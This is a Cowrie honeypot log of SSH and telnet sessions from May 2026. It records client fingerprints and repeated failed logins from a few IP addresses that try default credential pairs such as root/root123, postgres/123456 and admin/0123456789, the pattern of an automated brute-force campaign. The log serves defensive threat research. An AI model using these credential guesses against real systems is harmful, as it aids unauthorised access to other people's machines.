{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:43.932272Z","src_ip":"176.65.132.129","session":"8d071af2fdfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:44.013619Z","src_ip":"176.65.132.129","session":"8d071af2fdfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:44.259294Z","src_ip":"176.65.132.129","session":"8d071af2fdfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.13881158828735,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:45.206028Z","src_ip":"45.58.127.90","session":"3c88f3a9913a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:45.386481Z","src_ip":"176.65.132.129","session":"8d071af2fdfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55406,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c4ac71f450e","protocol":"ssh","message":"New connection: 176.65.132.129:55406 (159.203.135.109:22) [session: 6c4ac71f450e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:47.278107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:47.282204Z","src_ip":"176.65.132.129","session":"6c4ac71f450e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:47.369028Z","src_ip":"176.65.132.129","session":"6c4ac71f450e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53596,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1ebd56506da","protocol":"telnet","message":"New connection: 45.58.127.90:53596 (10.17.0.5:23) [session: f1ebd56506da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:47.451947Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:47.845871Z","src_ip":"176.65.132.129","session":"6c4ac71f450e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:48.930517Z","src_ip":"176.65.132.129","session":"6c4ac71f450e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55408,"dst_ip":"159.203.135.109","dst_port":22,"session":"e886ed722e53","protocol":"ssh","message":"New connection: 176.65.132.129:55408 (159.203.135.109:22) [session: e886ed722e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:50.940347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:50.945519Z","src_ip":"176.65.132.129","session":"e886ed722e53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:51.026370Z","src_ip":"176.65.132.129","session":"e886ed722e53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:51.347637Z","src_ip":"176.65.132.129","session":"e886ed722e53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40480,"dst_ip":"10.17.0.5","dst_port":23,"session":"04804a6ae29a","protocol":"telnet","message":"New connection: 45.58.127.90:40480 (10.17.0.5:23) [session: 04804a6ae29a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:51.956210Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:52.434107Z","src_ip":"176.65.132.129","session":"e886ed722e53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40468,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1a22ad841b6","protocol":"telnet","message":"New connection: 45.58.127.90:40468 (10.17.0.5:23) [session: a1a22ad841b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:52.918318Z"}
{"eventid":"cowrie.session.closed","duration":31.417593717575073,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:53.489820Z","src_ip":"40.86.220.217","session":"cf10a633b364","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55422,"dst_ip":"159.203.135.109","dst_port":22,"session":"52f600de1ebf","protocol":"ssh","message":"New connection: 176.65.132.129:55422 (159.203.135.109:22) [session: 52f600de1ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:54.372934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:54.376596Z","src_ip":"176.65.132.129","session":"52f600de1ebf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:54.458444Z","src_ip":"176.65.132.129","session":"52f600de1ebf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:54.707904Z","src_ip":"176.65.132.129","session":"52f600de1ebf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:55.794783Z","src_ip":"176.65.132.129","session":"52f600de1ebf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37122,"dst_ip":"159.203.135.109","dst_port":22,"session":"de5f1e889ef8","protocol":"ssh","message":"New connection: 176.65.132.129:37122 (159.203.135.109:22) [session: de5f1e889ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:57.756907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:57.760947Z","src_ip":"176.65.132.129","session":"de5f1e889ef8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:57.986889Z","src_ip":"176.65.132.129","session":"de5f1e889ef8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:58.375257Z","src_ip":"176.65.132.129","session":"de5f1e889ef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:56:59.459213Z","src_ip":"176.65.132.129","session":"de5f1e889ef8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37126,"dst_ip":"159.203.135.109","dst_port":22,"session":"5650417775e9","protocol":"ssh","message":"New connection: 176.65.132.129:37126 (159.203.135.109:22) [session: 5650417775e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:01.417542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:01.422536Z","src_ip":"176.65.132.129","session":"5650417775e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:01.504818Z","src_ip":"176.65.132.129","session":"5650417775e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:01.754586Z","src_ip":"176.65.132.129","session":"5650417775e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:02.840034Z","src_ip":"176.65.132.129","session":"5650417775e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37140,"dst_ip":"159.203.135.109","dst_port":22,"session":"03640b7d3768","protocol":"ssh","message":"New connection: 176.65.132.129:37140 (159.203.135.109:22) [session: 03640b7d3768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:04.806545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:04.811013Z","src_ip":"176.65.132.129","session":"03640b7d3768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:04.893585Z","src_ip":"176.65.132.129","session":"03640b7d3768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:05.140483Z","src_ip":"176.65.132.129","session":"03640b7d3768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.766024589538574,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:05.505520Z","src_ip":"45.58.127.90","session":"6557e2719c2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:06.225842Z","src_ip":"176.65.132.129","session":"03640b7d3768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":41587,"dst_ip":"10.17.0.5","dst_port":22,"session":"81b33e39dd30","protocol":"ssh","message":"New connection: 193.106.245.20:41587 (10.17.0.5:22) [session: 81b33e39dd30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:06.891129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:06.895865Z","src_ip":"193.106.245.20","session":"81b33e39dd30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:07.019467Z","src_ip":"193.106.245.20","session":"81b33e39dd30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"0123456789","message":"login attempt [admin/0123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:07.542552Z","src_ip":"193.106.245.20","session":"81b33e39dd30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36952,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd4620995880","protocol":"ssh","message":"New connection: 176.65.132.129:36952 (159.203.135.109:22) [session: dd4620995880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:57:08.519922Z"}
